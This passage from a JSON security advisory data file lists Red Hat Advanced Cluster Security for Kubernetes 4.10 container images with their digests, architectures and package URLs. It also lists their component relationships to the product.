"name": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-roxctl-rhel8@sha256%3Aa0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4?arch=s390x\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1779293013"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-rhel8@sha256%3A93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b?arch=s390x\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1778755463"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-db-rhel8@sha256%3Ab693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972?arch=s390x\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1778755463"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-db-slim-rhel8@sha256%3A905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc?arch=s390x\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1778755463"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-slim-rhel8@sha256%3Ab5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329?arch=s390x\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1778755463"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-v4-rhel8@sha256%3A4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627?arch=s390x\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1779293013"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-v4-db-rhel8@sha256%3A0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf?arch=s390x\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1779293013"
}
}
}
],
"category": "architecture",
"name": "s390x"
}
],
"category": "vendor",
"name": "Red Hat"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
